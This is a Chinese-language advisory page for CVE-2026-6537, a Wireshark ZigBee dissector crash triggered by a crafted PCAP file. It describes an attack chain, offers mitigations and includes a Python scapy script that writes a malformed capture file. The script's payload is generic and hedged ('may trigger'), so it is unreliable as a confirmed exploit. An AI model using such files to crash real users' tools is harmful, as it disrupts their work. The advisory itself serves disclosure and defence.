CVE-2026-6537 CVSS 5.5 中危

CVE-2026-6537 Wireshark ZigBee协议解析器拒绝服务漏洞

披露日期: 2026-04-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6537

漏洞类型

拒绝服务

CVSS评分

5.5 中危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Wireshark

漏洞概述

Wireshark是一款广泛使用的网络协议分析工具。CVE-2026-6537漏洞存在于其ZigBee协议解析器中，影响版本为4.6.0至4.6.4以及4.4.0至4.4.14。该漏洞允许攻击者通过诱导用户打开特制的恶意数据包捕获文件，触发解析器崩溃，从而导致应用程序异常终止，造成拒绝服务。

技术细节

该漏洞属于拒绝服务漏洞，其根源在于Wireshark的ZigBee协议解析器在处理特定异常格式的网络数据包时存在健壮性缺陷。具体而言，解析代码未能正确处理边界情况或畸形数据结构，当解析器尝试解析攻击者精心构造的ZigBee数据包时，可能会触发无效的内存读取操作或空指针解引用。这种底层错误导致操作系统的异常处理机制介入，强制终止Wireshark进程，从而造成拒绝服务。在利用方式上，由于攻击向量为本地（AV:L）且需要用户交互（UI:R），攻击者无法直接通过网络远程触发漏洞。通常的攻击链是攻击者利用Python等脚本语言构造包含恶意ZigBee帧的PCAP文件，通过邮件或文件共享诱导受害者打开。当受害者使用易受攻击的Wireshark版本解析该文件时，程序即会崩溃。

攻击链分析

STEP 1

1. 漏洞利用准备

攻击者分析ZigBee协议解析器源码，发现处理特定数据字段时的逻辑缺陷，编写脚本生成包含畸形ZigBee数据包的PCAP文件。

STEP 2

2. 投递恶意文件

攻击者通过电子邮件、文件共享或本地网络共享等方式，将生成的恶意PCAP文件发送给目标用户。

STEP 3

3. 触发漏洞

目标用户未被察觉，使用存在漏洞的Wireshark版本（4.6.0-4.6.4或4.4.0-4.4.14）打开该恶意PCAP文件进行分析。

STEP 4

4. 拒绝服务

Wireshark的ZigBee解析器在处理畸形数据时发生崩溃，导致应用程序中止，分析任务被迫中断。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
PoC for CVE-2026-6537 (Wireshark ZigBee Dissector Crash)
This script generates a malformed packet that may trigger the DoS.
"""
from scapy.all import *

# Construct a potentially malformed ZigBee packet structure
# Adjusting payload to simulate anomalous data that the dissector fails to handle
malformed_payload = b"\x00\x21\xcc\x00" + b"\x41" * 500

# Using Dot15d4 (ZigBee) layer if available, otherwise Raw
try:
    pkt = Dot15d4FCS() / Dot15d4Data() / Raw(malformed_payload)
except:
    pkt = Raw(malformed_payload)

# Write the packet to a pcap file
wrpcap("cve_2026_6537_poc.pcap", [pkt])
print("[+] PoC file 'cve_2026_6537_poc.pcap' generated successfully.")
print("[*] Open this file in Wireshark 4.6.0 - 4.6.4 or 4.4.0 - 4.4.14 to reproduce the crash.")

影响范围

Wireshark 4.6.0 to 4.6.4

Wireshark 4.4.0 to 4.4.14

防御指南

临时缓解措施

用户应避免打开来自不受信任来源的.pcap或.pcapng文件。如果必须分析可疑流量，建议在隔离的虚拟机环境中进行。此外，如果不需要分析ZigBee协议，可以在Wireshark的“分析首选项”中暂时禁用ZigBee解析器，以降低风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表